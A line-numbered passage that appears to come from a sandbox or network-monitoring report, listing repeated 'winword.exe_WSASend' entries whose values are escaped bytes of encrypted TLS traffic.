a9\\xc1\\xeb\\xd5\\xd0\\x9c\\xd8;\\xfe\\x83wv4\\xd4\\xe4\\xe8j\\xa4\\xcf\\x99\\xfcp\\xc5\\x99\\xfclr\\x13\\xdc\\xead\\x13\\x91\\xd4\\xf0\\xf7\\xb0\\xa2zg\\x824\\xc9\\xfds\\mdjw\\x90\\xe5`\\xe9?uaa\\xb8\\xcf\\xe4t\\xd9ror\\xb7"
  703.  
  704.  
  705. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0106u\\xd7\\xde8\\xe3\\x19\\x99\\x10\\xce\\xa9r\\xdf\\xd6\\x05\\x9a>w%>\\xe4\\xe6+\\x8d\\xf4$\\x8cl~\\xc5\\xfb\\xcc\\xf7&\\x81(fokv\\xc1\\xf09o\\x1eb\\x95o;\\xf9\\xae.\\xe1m\\x9a\\x93\\x93\\xe26\\x15\\x0c\\xe0\\xf1\\xf2\\xa6\\xd0g\\x19\\xeb\\x9c\\xb2\\x90z?\\xd6\\x80\\x029\\xbb\\xa2\\x91\\x88p\\x1c\\xff\\x8e\\x8dq\\xf6\\x0f\\x13\\xbd\\x0c\\x8bh\\x00\\x8f(\\x97\\xecg\\x895r\\xcd\\x8fh\\xabb\\x8f\\xd0g\\xa3\\xa2\\x17\\xe5\\xf0\\xd1z)ls\\xd4\\xf0\\x0b)\\x94$h\\x86z\\xeb~|\\xb4t\\x11f|\\xdf\\x94\\xbe.\\xf0\\xab\\x0b\\xc0\\x86\\x05z\\x9b\\x9cw\\x03\\xab/\\xd6\\xbc!v\\xd0d\\xfb\\x16\\xafzd\\xfa\\x10\\xcf\\\\xa7cwo\\x8c\\x90u\\x96\\xe1\\xa7\\xe0\\x92i-\\xcbqt\\xb0\\xf9+\\xdb\\x15i|v\n\\xfe\\x86\\x8d\\xbd\\x1f\\xe0\\x0f\\xef)\\xd6\\x0ev#\\xd6\\xda:\\xc53\\x81|\\x96\\x84\\xba\\x19:ay\\xa3\\xf0\\x0c\\xf5\\x03z\\xf5?\\xd6\\xc8q\\xabl\\xe3\\x14?\\xf5\\xcf\\xb4nm\\xe4\\x7f"
  706.  
  707.  
  708. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010#\\xf2\\xd5\\xe0\\x97^1-t\\xb6\\x89\\xd1\\x96\\xe7^\\xef\\xca\\xcfx\\xf1\\x90ur\\x9a\\xad-\\xcbuw\\x95k\\xcd\\xf6\\xdbi\\xfe\\xe9\\x083\\x11n\\x13e&\\xd9\\xa1\\x19\trl\\xc9\\xbau\\x1f\\x97kk_\\xeem\\x03b\\x88\\xd2\\xf8\\xbd\\\\xe9\\xef\\x8f(d4\tt\\xa8\\x94\\xc1\\xa4:\\xe8#\\xc5\\xdf\\xe3\\xa6\\xd7\\xf6\\xf1\\xebkjc\\xaf\\xbb\\xda\\x84vu\\xb8\\xe3\\xb3\\xec\\x81\\xca\\x9ae\\xe2\t\\x98\\x04\\xb9_\\x9b\\x8a\\xa6\\xb8\\x81\\x0c\\x05\\xc7o\\x11%\\xf8\\x13\\xa8\\xb1w\\xa3\\xbf\\xe2/a\\x87\\xa3\\xa1`\\xb9#\\xf23\\xcfyur\\x9c\\xe6\\xc4\\xc9\\xc4m\\xef\\x846\\xb6\\xdf\\xa2\\xfb\\x90\\xd2\\xb8&\\xfd\\xf6\\xc8\\xefe:\\x07\\x93\\x96t=alh\\xa8\\x8di\\x19|\\xdcdgj$\\x8f\\x04q\\xa1pc\\xf5\\xd8\\x90\\xcc\\xd4\\xbfs\\\n\\xf6s\\xef\\xf31't\\x08\\xdf\\x87\\xafs\\xdfwb\\x93\\x03\\xf4\\xec\\xdd\\xbb\\xcf\\x00e\\x91\\x1f9\\xc1\\x18f\\xe6#\\xf2\\x93\\xcf,\\xb1\\x0c\\xa8*\\xba\\xa8\\xce"
  709.  
  710.  
  711. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd6\\x08\\xc9\\xfcj3\\xba\\xf5n\\x10\\xd6\\xd5%~s\\xb4\\xfd\\x91\\xe7\\x89\\x98\\x83\\xa6<3xyp\\xf2\\xf8\\x87~\\xca,\r\\xc6?\\xd8n\\xc5\\x9f?i\\x10\\xe76\\x83k~\\xe2w$\\x05\\xd6\\x86\\x86\\xd9\\x024\\xad\\xb0\\xa4\\xf7\\x9b\\xff\\xe1q\\xf9\\x1ac_bl\\x07\\xd2u\\xc50f\\xe10\\x02\\x14\\x0e\\xe4ty\\xfc\\x88\\xd5\\x90\\x8b\\xc4k\\xef\\x18\\xe2_\\xeb\\x12gl\\xberb\\x80\\x03\\x17\\x88\\xb5\\x97\\x8e@\\x15(\\xf81\\xf9\\x88\\xb3\\xe6?\\x8a\\xae\\xdesz\\x8e\\xd6\\x16\\x14\\xa1\\xd2\\xfb)\\xdb\\x97\\x00\\xab\\xaea\\xc2\\xd3xmdzs\\xd0v\r\\x90\\x94;\\x13\\x1a\\x85\\x153\\xdc\\x8b4g\\x00\\xf8\\x8cj\\xe8\\xfc\\x9dk\\xae\\xd15\\xc6\\x1fqle\\x00\\xaa\\xc0|\\xdbsw5p\\xbf\\xd3\\x0eb\\x15\\x04\\xa9,\\x9a\\xf1\\x0c\\x97\\xfd\rf\\x1eep\\x96\\xca\\xb2\\xf6\\x93\\xd2\\x06\\xf3\\xad\\xc7=\\x90p\\xf83m\\x14m\\xf1\\xaa\\xf5`\\x18\\xde\\xe1\\x8c\\xb1?*\\x90\\x9f\\x89\\xe6\\x07\\x8e\\x90\\x1a<\\xf9%\\xfe4"
  712.  
  713.  
  714. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa4^\\x1a\\xe84\\x9b\\x12\\xba/r\\xa1r\\xd8_%\\x8e0\\xaa\\xf6\\xf3\\x12\\x1f\\xf5\\xfb\\x0b\\xe3\\x9e\\\\xad\\x13\\xb1\\x13\\x94\\xd4\\xbd\\x88\\xa4\\xads\\xf0\\xe8\"h\\xabev~\\x03@=*\\xf3\r\\xb2\\x9fe\r\\xdc\\xc0\\xd0.\\xeaq\\x0f\\xa3b\\x18\\xa1\\x81\\xdb\\xcd=\\x8c#4\\x84\\xca\\x9fn\\xea6\\x07h$\\x98\\x17,\\xa7q+v&l\\x11\\xd2\\x06\\x98\\xebgw\\x13$\\xf6\\xaa\n6\\xb0_\\x11\\x14\\x06\\xfe_\\xf72\\x82+|\\x8a\\xc6\\x1c\\x97x_\\xbf;h\\x16\\xe8+\\x1e?\\xaa\\x96\\xb9\\xf3\\xd1ls\\xf5+d\\xca\\x04\\xbc\\xac\\x1as6t\\xc9\\x9b\\xdel\\x81/b\\xdf\\xdb\\xcc\\xa6d\\x14\\x94\\xef\\xc6\\xe9\\x18$\\xc05)&\\x95\\x8fm\\x05\\xa9\r7\\xe6\\xf0\\xf52\\xb4\\xfc\\x89\\xc6-\\x16\\xa5\\xca\\xd4x%~\\xc6\\xdd2t\\x93\\xb9\\xba\\xc0\\xe8\"\n$\\xfb\\xbeh\\x8dzu\\xa3\\xbd\\xad\\x89<o\\xe4\\xaf\\x82\\x99\\xf5\\xb1ct\\xadp\\x98x\\x89\\x81\t\\xa6\\x0b\\x00u\\xbeq\\xde\\xb0\\xaa\\xe6\\xc5"
  715.  
  716.  
  717. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010dm\\xe5a\\xaez\\xf2wx\\xe8\\xf6$\\xd9\\x13\\x92\\xf3\\xbf\\x8b\\x99nz\\x88l\\x89\\xc9\\x88k\\xa1\\xaam\\x8b\\xb5,\\xac\\x8d\\xb0rg\\x04qo\\xce$x,4\\x05\\xfd\\xa4\\x0e\\xbf\\xd6\\xb9\\xfc\\xed\\xe5k>\\x1c`\\x16\\xf1\\xd0i\\xf59\\xb8\\x87\\xa3\\xefo\\xc39\\x13f\\xca\\xeb9\\xa8\\xcdz\\xd7%\\xcc\\x15\\xc7\\xd3a\\xd05\\x81\\x03\\xfez:\\xdf\\x00\\x8e@i\\xfe\\xc0\\xdf\\xa4\\x16\\x1bi\\xa0f\\xfd\\xde\\x01\\xce\\x08\\xfbx\\xdbze\\x82\\x92)@\\x04\\x00\\x17\\x95v\\xc3\\x1e\\x7f\\x9f\\xa2er_\\x8d~q_\\xa0(4\\xaevq\\xcf\\xb0\\x19\\x17\\xfcx\\xb2l\\xe3\\x98gr\\xa4\\xc1\\x91\\x94xz2\\xa0z\\xe3\\xf7\\x04d\\xdd5\\x1e|>o\\xc4\\xbd\\xf6@s\\xde.\\x1e\\x83`\\x82\\x89\\xf7\\x12\\x96!\\x8ee\\xd24-a\\x06\\x97w\\xa7\\x8c\\xa9\\xf3l\\xd8o\\xcb\\x1bn\\x97p\\x83\\xee\\xed\\x9fv7`\\x12x\\xf0mj\\x01\\x07\\xd6st>\\xf8 \\xee\\x98\\x8c\\x94\\x0c1\\xb8\\xa5s\\xd2/y\\x18vu"
  718.  
  719.  
  720. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf3\\xc0\\xfaw\\x04\\xf2\\xfb\\x9b5\\xa9\\xfd\\x8eo#8\\xbf=\\x0ce\\x884>\\xcan\\xbc\\x94i,\\xbb\\xcd\\xde\\xda\\xf0l\\xc2\\xff\\xe9\\x8a\\xf7\\xa7\\xef5\\x89q\\x00\\xee2\\xcf\\x137\\xf9~\\x15\\x9d\\xb3\\xbc\\xcb\\xed\\x92\\xa5\\x9as\\xa4\\x03\\xd4\\xce\\xeb3c\\x1b\\x8a\\xcd~q\\x04\\xa8+\\x7f\\x16\\xa5\\xf1)\\xfac*\\xa2a\\x92\\xca\\xa7\\xdb\\x12n\\xb1\\xb0\\xb1\\xae\\x04t\\xb5\\xe8\\x94!'~\\x15'\\\\xbf\\x99\\x90\\xd5z\\xb7\\xd7\\x8d9\\xfb\\xd4\\xa9\\x1e\\xa3\\xc8\\xef\\x15\\x02\\xce\\xe1\\x0c*\\xf9\\xb0\\xa1\\xf6\\xf2\\xaf\\xb9\\xaa\\xb8\\x162v\\xf3\\x11\\xd0\\x0f\\xcbw\\x1c6/.\\x91+\\xd8ge\\xd1\\x93\\xe3\\xb4\\xca\\x99\\xfek2\\xe8\\xe7\\x01\\xfeg\\xa2\\xe8\\x9a\\x1ds\\x8a\n9\\x8c\\xab\\xe5\\x94\\xc6\r\\xbbc\\xfc#\\xae\\x8c\\x04\\xf0n\\x996c\\xc3\\xb1\\x1dk\\x98\\x06\\xb25/\\\\x1b\\xd7\\x10\\xb9_\\xe0\\x99t\\xda\\x9d\\x8f\\xae\\x07\\xcbm0\\xc3r\rd\\x93\\xe3v\\x1c\\xfe\\xe2s\\xb2\\x15gx+j\\xa8\\xa4@9\\xd1\\xb4\\x07"
  721.  
  722.  
  723. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdf\\x05%\\x81h\\xb0\\xe1\\xb9\\x8e\\xb85\\xca@\\xa5\\xfcm\\xae\\xba-\\x89u\\x1f\\x86\\xd2h\\xdf\\x87\\xc1!\\xa3\\xb3\\x00.\\xe2\\x9c\\xe4uy\\x84\\x92m\\xcayvmp\\x8c\\x88\\xed$;\\x95'\\x90\\x84\\x03v\\xe0;w\\x99d\\x15\\xff\\x95d\\xb8\\x96\\xec\\xe70\\x91zg\\x05\\xf1w\\x19\\xf7>?\\x82\\xeae:\\xfa\\xeb\\x90\\xe57~e\\xc8a4'yw8\\x9d\\xc0\\xf6\\x9d\\x1a\\xe3\\xea\\x14\\xfbsl\\x1fbx\\xbf\\xf21\\x94\\\\xfby\\xb8\\xbb\\x02\\x9fz\\xdb\\xc8\\xcd\\x1c\\xa82\\xcf\\x01\\x1d\\x1a\\xea\\x02\\xdbq\\xd1\\x19\\xaf\\xb0t*\\xb9\\xd7\\x8f27.r\\x1e\\x82\\xd9\\xd5a\\xdd\\xa6<k\\x00'/\\x17\\xcc\\xab\\xb3\\xa6\\x1f\\xcf\\x8c,`\\xc4\\xa1s5cb\\xbc1w=+di\\xc8\\x84\\xb8\\x15j\\x1a\\x82f\\xe2=\\xf3\\xd3n\\x9cr\\xb4'-\\xe6\\x19\\xbd\\x17\\xa0\\x9am\n\\xffe,\\x11$s\\xb6r\\x89\\x83\\x96=\\xd4\\x1b\\x1ep\\xed\\xd2\\xbcs\\x0f\\xb4\\xd9\\xbf`\\xf7\\xa5\\x0f\\x81\\x08q\\x87_\\xbf"
  724.  
  725.  
  726. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x98\\xc8z\\xe1\\xd1\\xc4!w\\xbf\\xac\\xc3ii\\x0c\\xb1\\x8eu\\x13\\x85\\xdc\\xe3p,x\\xf0\\xa6\tf\\xc5\\xf9\\x90^\\xd0\\xad\\xe4\\x9b\\xef\\xf1\\xa8\\xdf\\x02\\xcc\\x94\\xd6d@l\\xab=\\x0f\\x0e\\xb1\"9:\\xd9ay\\xd2eu\\x11\\x05e\"0-\\xb2~\\x88\\xb2\\xa4\\xa4\\xe6\\xdd\\xa2p\\xc5\\xec\\xe5f8\\xad\\xd8\\xcb|\\xff\\xc4\\xba\\xca\\x98t\\xf4\\xf2s\\xc4\\x0cs\\x84\\xe2\\xd7\\x89\\xb1\\x98\\xa3\\xc0fr)d\\xd35\\xcc\\xc9\\xe9\\xab\\x91\\xb8\\x81p\\x9e\\xbf\\xed\\x08\\xb7q\\x11\\xa7\\x9f\\xbe\\xf1\\xa3~\\x95\\x98\\xe4$jt&\\xf8\\xb6\\xe7\\x8e\\x7f8w\\xc3\\xd0\\x10r\\x1bp\\xea\\xe3\\x04,bi\\xf6\\x00\\xb1r\\xd3\\x9b\\xce\\x81\\x9e\\xa2\\x02\\xc3\\xc8\\xc4\\xe2\\xb2w\\x9d\\x8e\\x9b\\xda\\xa3\\xffv\\xd0f\\x98/\\xdbfdk\\x89\\x12v+\\xab\\x0b\\x95\\x91\\xae.\\x81f\\x972\\xed\\x15\\\\x9c\\xc1x\\x80\\x18\\xe9:\\xdau\\xc3\\xb0\\x93\\xa3\td<\\xa4\\xe4\\x9a\\xb0\\x0f\\x8c\\xab\\x1c\\xddp\\xa5\\xfbp\\xd5r\\xc3\\x1eh\\xf65\\xda\\xca"
  727.  
  728.  
  729. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe1\\xcelv\\x9d\\xf5\\xc1.\\xf9\\x01\\xeb\\xbf\\x0f\\xa3h^1qnl\\x92!\\x1e|\\xd3>\\xf8\\xc4\\x83\\xc7\\x97\\xea\\xb4\\xde\\x9f7v\\x8a\\x1bmvt\\xccx&d\\x8c/;\\xce\\xff\\xd9\\\\x92!\\xbe\\xfa9o\\xbd\\x8b\\x91^\\x18f\\xba\\xd0\\xb1'\\xdfw\\x864v\\xb2@w\\x93\\xe5\\xc3'\\x13\\xe6\\x18\\x1eh/ep\\xbd\\x87\\xce\\xce\\x1f\\xf0g\\xe4-\\x80\\x1f\\xa7r\\xe8\\xae\\xc89\\xae\\xd6u$\\xf1\\x84y\\xa6\\xf6\\xd9p\\xf4\\xc1\\x83\\xe4\\xba\\xc8\\xeb\\xe8\\xd4\\x99\\x18\\x19w\\x84\\x8d\\x96\\x88\\x9f\\x9f\\x12!\\x89\\xe3\\xa0\\x93\\x11,\\x9f\\xf9?\\xaci`\\x99\\x8f\\xdb\\xcd\\x04\\x1c\\xed\\x05\\xdf\\xce\\x8aq\\xae\\xd4o\\x14n\\xc3n4\\x94a>c\\xbf\\xa5dr\\x04y\\xda\\x19\\xc3(\\x034\\x04\\xd0\\xc7`\\x8f\\x86\\xe7\\xd0\\x84<\\xf0\\x88\\xf20\\xe0v\\xbd\\xd6\\xd8\\xfd\\x9d\\x9br\\xa5\\x181v\\xe0\\x02p\\xa8\\\\xdb\\xd6w\\xf1+\\xfb\\xff \\x82\\xd2\\xa2w_8\\xfe\\xc7\\x14\\x80nv\\x10\\x87jn\\xf4\\x9f!\\xfd\\xc8\\xfe"
  730.  
  731.  
  732. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8a\\x8bt\\xb3\\x1b\\xb0\\xc2\\x8f\\x11\\xc5\\xc2\\x16\\x03\\xfb\\xe2\\xa1q\\xa0\tp\\xd5\"\\x0b&\\xd04\\x98\\x8c\\xdb;2\\x10\\x01\\xfe6\\x97k\\xe9\\xc5\\xd0mdx\\x86\\xf5\\xd6tahb\\xd5\\xa9k3\\xf0\\xe4\\x05\\x8a\\x11\\x9eo'.?wa\\xea\\x15v\\x8b\\xd1y\\xea\\x04\\xadmb\\xa0=\\x07\\xdd\\xc0~\\x8d\\xb720\\xae\\x195|q>\\xd3\\xa0\ts\\xab\\xe3\\xd6 \\xc5\\x99\\xa1\\xf5\\xb40ff\\xeb4z\\x1c\\xc1\\x11d$t:q\\x07\\xff\\xb4v\\x8a-\\xae\\x15\\xb5\n\\xf7q\\x92\\xa0\\xb3r\\xd0\\xe4\\xc7\\xe4\\xe3e\\xf6\\xe02axbw\\x86\\xa6\\xd0\\x93<y\\x98\\xc5\\x94\\xf62d\\x17\\xe7\\x15\\xf5\\xdd\\x15\\x9d\\xc5\\x00\\x00\\xe8\\xb0\\xcf\\x0e\\xd9\\xba\\xbf\\xcey\\xc1m_\\xcd\\x96\\xe5ax\\xa6\\x86\\xab!p`\\xa1\\xea<\\xc6\\xf0\\x935\\xf4\\xc6\\xeb\"\\xec\\xa2\\xd8\\xb0v\\x90l+\\x85\\x8d\\xcd\\x96\\xe9\\xcd\\x0b\\xe6\\xb4\\x07\\xce\\x86\\x14\\x87a\\x8cr\\xf2\\xdd\\xbf~\\xa6\\x00z\\xe9\\xd9\\x1e\\xd6yam1v\\xa8\\xff\\xee"
  733.  
  734.  
  735. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9e\\xb4dp\\xe9q\\xeck\\xdfmz\\xe3\\x12\\x1b\\xae\\xa2j\\xf6u8\\xd8\\xeb\\xdb\\x8a\\x0f\\xce\\xeae\\xff\\xf2\\xe8l\\xa0t\\x88\\x14\\x03\\xb5tu\\xc0\\xff\\\\xf6\\xa7\t \\xcdd\\x94\\x10\\xc2\\x88\\xdf\\xd0\\x82\\xbb\\x7fxz\\x820\\x87t\\xa1\\x96s\\x16\\xf2\\x8f\\x80\rsaz\\xed\\xd2\\x0b\\xc7\\x0c\\xf0\\x04>`\\xa4\\xed\\x80vt\\xab\\xb9p\\xb8\\xcdz\\x00q\\xf7xd+#!\\xbb\\xe9ul\n<\\xd9\\x9c\\xf62\tz\\xe4\\xbca\\xe6\\xd8<c*\\xa4j<\\x7f\\xb6\\x15\\xe70\\xe4\\xbb\\xa2\\xb9\\x1d\\xbe2|o,w\\x024\\x9e|\\xc7\\xc2\\xa7\\xd5u\\xe2\\xf0\\x96\\x1d\\xdfi\\xdb\\xf9'\\x1e\\x0ckz\\xe0\\x93\\xf9#9\\x88\\xd1\\xfa\\xa4\\x1d@-\\x86\\xd8b\\x8d\\xdf\\xd2\\xf6t\\xa9\\xe4\\x8b\\xa2('v?p\\x1dm\\xf2\\x90\\x0e\\x02\\xd5\\xd5\\xbch=2\\x98\\xd9\\x8b)\\xde\\x05\\xa4\\x8b\\\\x86ft\\x01\\x07\\xc4\\x84\\xea\\x08tj\\x9e\\x14)3b\\xad\\xf0\\x1c\\x03\\xa1\\xa4\\xd8\\xa6^\\x9d\\x19\\x93\\x0fj6\\x15"
  736.  
  737.  
  738. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010xzi\\xf9v~\\xab\\x9cg\\xdamo\\xca2\\x9a\\xc2\\xa8\\xack\\x01;\\x1e\\xcd\\x10^\\xbf\\xafu\\xbe16\\x1ai\\xf5\\x91\\x1a\\xef\\xb0\\x1a\\xf9\\x8c\\\\xacy\\xd5?jp\\xfeyz~4\\xed\\xfa\\x13\\xe1\\xa6\\x98o\\xf2\\x8b\\x8f\\xbd\\xadn\\xa6n\\xe2\\x18\\x82\\x0f/\\x84\\x94\\xee\\xf8\\x85)\\xd8o;\\xd0y\r\\xf2\\x06\\xba/\n\\xa3x\\x11+l\\x9e\\xa9?6\\xed\\x1c\\xc6\\xf6b\\x0f\\x9do\\xbe\\xd74\\xd5\\xccg=a\\xc2\\x8a;|)\\x8b\\xdb\\x0b,\\x02e\\xfcq\\xf3\\xe8\\xef\\xfa\\x03\\xdc\\xa9*e\\xe9\\x89\\xa7\\x92~\\xect\\x99\t\\xed,sn;\\x0c\\x9bv\\xd2\\xd3\\x97^7\\xb3|\\xf3\\xe9\\x83\\xa6\\x83l1\\xa6\\x1e\\xcf2\\xf5\\xc0\\xb8\\x1e/$#d\\xa0\\xcc^\\x15\\xa6\\x94b\\x88(\\xfb\\x98\t/ipk2\\xb4\\x0cr\\xf7\\xb9\\xd7\\\\xc8v|=\\x83\\xcd\\xc1=n\\x89\\xeav\\x0f\\x06\\xae@\\x95\\xf0?&\\xd8\\x80\\xeb\\xbdx*\\xe6\\xe5n\\x0fi\\xfa\\xb2qbl\\xf2q\\xa3t\\x0c\\dg"
  739.  
  740.  
  741. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010b\\x1b8\\xdbr\\xd5\\xeevj\\x95\\x9e\\x01\\x019i\\x9c\\xadh\\x8d\\x99\\x13\\x98\\x94\\xfa\\x82u\\x81\\x7f*\\xdf\\xa6\\x8ab;g\\x0e\\xe3c\\xa9mp\\xad\\x93\\xc8\\x1b\\xda\\xaa\\xb7\\x8fn8\\xc2/\\xc1\\xdb?\\x83\\xfd=\\xcc\\xe2o\\x10\\xfc9\\hk\\x940\\xef\\xd3b\\xd9r\\x8d\\xa2\\xf9u\\xdbv\\xdes\\xe4\\xba\\x01>\\x17\\x07z\\x16\\xb9\\xfd`~3\\x06>\\xf7\\xf7\\xd7\\x144\\xf5w\\xeak\\xee\\xa7\\xc72\\xc9\\xc4\\xdd~\\x14\\xb5:\\xc7\\x1a\\x97\\xf39\\xfa\\x9c\\xabg\\x99\\x9agey\\xd6>\\xacc\\x80\\q\\x15\\xda\\x8a\\x10\\xa0k\\x13\\xb4+c\\xac\\xd5\\xa4\\x9c\\xe9\\x08\\xf7\\xb5\\x14\\x8ff\\x12\\xfb\\xd9\\xc7!l\\xac3k\\x7f\\x9am\\xa7\\x96\\xf3;\\x15\\x12\\xd4\\xfc\\xc6<\\xd3|(\\x8c\\x05\\xa0\\xee<xn\\xff\\xff\\x83\\x19\\x0f>2\\x03gv\\xf9,<\\x1b\\xee\\xbc\\xcd\\xb8\\xfe\\x84\\xc7\\xbe*8\\xd3*\\x8bw\\xb5\\xa2\\xfb\\xc9\"\\xd1\\x85>c\\xf9y\\x9f\\xb9\\x9e\r\\xbb\\xd1#s\\xbeug\\xea\\x0c\\xb3\\xe7l\\xdb\\xd8"
  742.  
  743.  
  744. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x0b\\xcd\\x89\\xc3\\xbe\\xc0\\xb3l\\x93\\xa2\\xa3a\\xd1\\x06\\xca\\xca\\xbe\\x07\\x0131\\xc0\\xbdf\\xed\\xdd\\xd5\\xc7a\\xcbz\\xe3\\xd7\\xb3x\\x9c\\x7fh\\x93iz\\x01\\xee\\xd9\\xa5\\x84q\\xe9\\x17\\x80\\xba\\x86\\x80(\\xd9\\xe8t\\xca\\x8b\\x9d'\n\\xd7sf\\x9e\\xd0\\x84\\xbe\\x92\\x14\\xdf\\x94<c\\x1e\\x7f\\xcf\\xaba\\xbfp\\xa1q\\xe0\\xda\\xd4\\xa7\\xcf\\xbclp\\xa4\\xa4\\xf1.e\\xe6\\xb24\\xcd)d\\xacy\\xdc\\xf3\\xac&\n_\\xbdwb\\xcb\\xbex\\x8c+\\xd7\\x915\\x9beu\\x0e\\xf5\\xf6\\x1a\\xdev\\xcc\nyt\\xfco\\xd1s\\xb6\\xa2~me>q_\\x01\\x803\\x95sb\rk\\xee\\xa8\\xf4\\xab\\xd4\\xffz*!\\xf4\\xe9\\x97|\\x87l\\x87\\x1fd\\xb4\\x9az$\\xbb\\xe3.\\xf6\\x1c\\xc8\\xa2\\xceg8\\x13\\xd2i\\x90.\\xbf\\xb6s\\xf17\\x90q<z\\x0e\\xcc\\x84\\x13\\xc9\\x0bm\\x82g\\xbd\\xb2\\xb0l\\x1e\n\\x98\\xd3m\\xf1:\\xb6\\x1dx\\x99\\xa5j\n\\x8d@\\xa9\\x88\\x08\\xfc:,?@\\x85\\xe9\\x8dc"
  745.  
  746.  
  747. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010tk\\x80d\\xfe\\xff\t\\x87\\x04g\\xb7.\\xb2\\xd1\\xd6\\x94\\x08=o\"-\\xc3\\xa7\\xfaau3\\xd9_\\xa5\\xdf'z\\xaei\\xfee\\xcb\\xa3\\xd3`^\r\\xe0\\x1a\\xd0\\x80\\x9c\\xc9\\xbca\\xc7n\\x00i\\xf6\\xd0\\x80\\xaa\\xb6\\x01\\x8a\\x1d\\xe2\\x82q\\xa7\\xea\\xd4u\\xe7#f\\x87z,\\xde\\x82\\xe1b\\xd5\\xf9oquy\\xf9z\\xee\\xd9\\x8a\\x9eq\\xdeoxk\\xacj\\xb9$\\x88\\xb5\\xee\\x03\\xc9mj\\xb3\\xc3\\xd9\\x1b\\x85\\x92yznz\\x04\\xa981p\\xb5l\\xa5\\xd0\\xf5y\\xcf\\xf3vx\\xd0@\\xbcrqt:j\\x8f\\xd2\\x1d\\xf7\\xcc\\x80\\xafq\\x0c\\xca\\x8e\\x08\\xefdt~w>\\x932xml\\xe0j3\\xa5\\xc9\"l\\x1a\\x90\\xa3p\\x0f\\x0f/\\x81)\\xc6fb\\x06zl%y^\\x81sjo\\x9eg\\xe0\\xae9*\\x96\\xe6\\xbda\\xd6\\x8ex\\xce\\xbd=\\xa0\\xac\t\\xd4\\xa8\\x9amzn\\xd6l\\x98\\x9d\n\\x98\\x0b\\x9fwex\\xb7|\"\\x14?\\x1a\\xf1<\\xaf\\x1f$t"
  748.  
  749.  
  750. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x17\t\\xa9\\xf8k\\x8c\\xbeu(\\xf7!\\x11dj\\xe5\\xed\\x87\\xd6\\xce\\x9e\\xa9\\x0f>j;\\xee\\xb4=\\x0e\\xbf\\x16\\xf9h\\x06\\x1b\\x8f\\x7fk\\x11<\\x8e\\xdec\\x16rl\\xc0\\xc6\\xee\\xdf\\xa1\\xcd>l1\\xd1\\xc9\\xe7\\xdf\\xa3b\\xb5\\x18\\xca\\xb3\\x1bv\\xb0\\xc5\\x9f\\x1c2\\xbbs\\xe4\\xee\\x96fe\\x91yt\\xc7\\x1e4\\xb6\\xa9\\xdc<sf\\xfd*\\x84h\\xb7;f\\x86\\x08^\\xeb$d\\x8f\\\\xc6\\x05\\x87galfu!\\xa1\\xdfdv\\x94d\\xaf\\xeeq\\xa2\\x13\\xdem\\xf4\\xe9\\xac\\xdb54g#\\x8f\\x11.a\\x1c\"m\\xea\\xdc=\\xec\\xbcx\t8\\x07\\x95\\xf22\\xb5\\xab\\xb1\\xdb\\xed\\x88\\x91\\xd2\\xda\\xa3(\\x18a\\xde\\xb2\\x150\\xe8b\\xa5\\x00v\\xea\\xfd\\x92.\\xecc\\x17\\x90xz8\\xdc\\xbd\\xe9\\xaf\\x9b\\xfa\\xa4\\xfd\\xb1\\xf3c\\xf5\\\\x89(\\x15\\xe4\\x88\\xc7\\xd7e;\\x93j\\xb5\\xe8\\xbb7\\x89h\\x16\\x04h\\x91\\xbbj\\xa1=d\\xd9\\x0e;\\xd6\\xab\\xb2\\xc7\\xd7\\xac\\xfft\t\\xb0\\xaa\\xbe\\x8dso\\xd6\\x1f\\x8d\\xd1"
  751.  
  752.  
  753. "http_request": "winword.exe_WSASend_\\x90v\\xe2\\x120\\xd3\\xeb\\x12\\xa3\\x03\\x89?e\\xf5\\xd9z\\x99\\x8d\\x89\\xa8\\xf1\\xad-qg\\xc9\\xf8\\xaa\\xff\\x1ed.\\xc1\\xd5\\x82\\xdb\\x1fu\\xbby\\xfbfy\\x87\\x19p\\x01\\x81e\\x1e\\x07\\x13\\xca\\xbf\\xb4\\xa5\\xf0\\xff\\xfa\\xac\\xfey\\xed\\x1dtb\\xf2\\xd2du\\x86\\x85\\xf3\\xbe\\xa3\\x8c\\xd0\\x87\\xfe_g\\xeb\\xea\\xe34\\x91d\\xdb\\xc2q\\x01\\xfb\\xb7\\xe7t\\xbb0\\xb17v\\x9a\\xeb\\xed\\xb7\\xcc+\\xa5s'\\xcf\\xe9;\\xff\\x85\\xe7\\xf2ax\\x91)m\\xf2m\\x86\\xce\\x04=\\xa0\\x816z\\xfc\\x86 ~\\xaa\\xfe\\x1e(k\\xbe\\xbc\\xc7c**?\\xb4\\x03\\xde\\xd9\\xb7$\\x1cki\\xe5\\x8f=5\\xdf\\xee\\xa9\\x1ecc\\x1f\\xf3\\xaf\\xf7?\t\\xffz\\x0b(\\x9a\\x08vu\\xect\\xde\\xfbj\\xdf\\xf6\\xa0\\x9d\\xfb\\xbd'\\x0e\\xc5\\xda\\xdd\\x7f\\x10\\xf4\\x0e\\xe3\\x00p\\xf4a&\\x10\\xaa\\x89\\x85\\x17by\\x165\\xa1:\\xeb\\x18\\x03\\x1b|\\x04\\xaa\\xfe~\\x9c1\\xc9u\\x11\\x9ce\\xcc\\xfd\\x9f\"\\xf2;\\x10\\xfb\\xd0o\\xba\"t0d\\xcc\\xca\\x0b"
  754.  
  755.  
